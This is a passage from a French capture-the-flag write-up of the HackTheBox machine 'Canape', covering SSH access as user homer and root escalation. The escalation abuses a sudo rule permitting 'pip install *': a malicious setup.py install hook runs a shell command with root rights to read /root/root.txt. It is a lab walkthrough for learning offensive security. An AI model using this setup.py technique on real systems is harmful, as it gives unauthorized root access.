Il y a un item ssh, j’en déduis donc qu’il faut se connecter en ssh à l’utilisateur, très probablement nommé homer vu que c’est le nom qu’on retrouve à different endroits et que ca semble être le developpeur & sysadmin :

$ ssh homer@10.10.10.70 -p 65535
The authenticity of host '[10.10.10.70]:65535 ([10.10.10.70]:65535)' can't be established.
ECDSA key fingerprint is SHA256:ojMYU5Q6ljmXdvYjbNF4D1mA5ndrq8D8dkMLx4Bs1cs.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '[10.10.10.70]:65535' (ECDSA) to the list of known hosts.
homer@10.10.10.70's password: 
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-119-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage
Last login: Tue Apr 10 12:57:08 2018 from 10.10.14.5
homer@canape:~$ cat user.txt 
bce91---------------------7288d
homer@canape:~$

Nous voilà utilisateur ! Notez que j’ai spécifié le port 65535 à ssh, port que nous avions trouvé avec nmap en début d’article.

 

Élévation de privilèges

Maintenant que nous avons un utilisateur, passons à l’élévation de privilèges pour devenir root. A force de faire des challenges, j’ai prit l’habitude de faire quelques tests pour monter en privilèges. Parmis eux, le premier que je fais est :

homer@canape:~$ sudo -l
[sudo] password for homer: 
Matching Defaults entries for homer on canape:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User homer may run the following commands on canape:
    (root) /usr/bin/pip install *
homer@canape:~$

Cette commande permet de lister les programmes qu’il est possible d’executer en tant que root avec sudo. On peut voir que pip est executable en root et qu’une étoile est présente pour indiquer que l’on peut mettre ce que l’on veut après le install.

(Note : il y a un utilitaire nommé LinEnum qui permet de rechercher sur le système des moyens de faire de l’élévation de privilèges)

Ceux qui ont l’habitude de coder en python et donc d’utiliser pip, savent que lors de l’installation, le fichier setup.py indique à pip quoi faire. On peut donc créer un fichier setup.py afin de faire ce que l’on veut de pip. Dans le setup.py, il est possible de spécifier un script post-installation où nous pouvons faire ce qu’on veut.

On crée donc le setup.py suivant dans tmp :

from setuptools import setup
from setuptools.command.install import install
import os

class Exploit(install):
        def run(self):
                os.system("cp /root/root.txt /tmp/.plop; chmod o+rw /tmp/.plop/root.txt")
                install.run(self)

setup(name='SudoExploit',
      cmdclass={
          "install": Exploit
      })

 

Notez le os.sytem() qui va me permettre de récupérer le flag dans le fichier root.txt, j’aurais également pu récupérer un shell root, mais ca n’est pas l’objectif ici.

Puis on l’installe avec pip :

homer@canape:/tmp/.plop$ sudo pip install .
[sudo] password for homer:
Processing /tmp/.plop
Installing collected packages: SudoExploit
  Found existing installation: SudoExploit 0.0.0
    Uninstalling SudoExploit-0.0.0:
      Successfully uninstalled SudoExploit-0.0.0
  Running setup.py install for SudoExploit ... done
Successfully installed SudoExploit-0.0.0
homer@canape:/tmp/.plop$ cat root.txt
928c3----------------------0976d

Got r00t !

Conclusion

Cette machine Canape à difficulté moyenne était dans l’ensemble plutôt sympathique, surtout la partie Pickle. J’ai cependant tendance à ne pas spécialement aimer les challenges où il faut trouver le bon exploit sur le net et ça se fait tout seul. Je préfère exploiter des bugs de logique ou de mauvaises pratiques moi même, et d’avoir à écrire les exploits moi même pour un cas particulier auquel je suis confronté. C’est pour cela que je n’ai pas particulièrement aimé la partie sur CouchDB. En ce qui concerne l’élévation de privilèges, elle était vraiment très simple, peut-être même trop simple. Et pourtant tout était plausible dans cette machine ! C’est d’ailleurs pour ca que j’aime bien HackTheBox, c’est parce qu’ils essayent de rendre toutes leurs épreuves le plus réaliste possible.

En bref, j’ai aimé ce challenge, mais surtout pour la première étape 🙂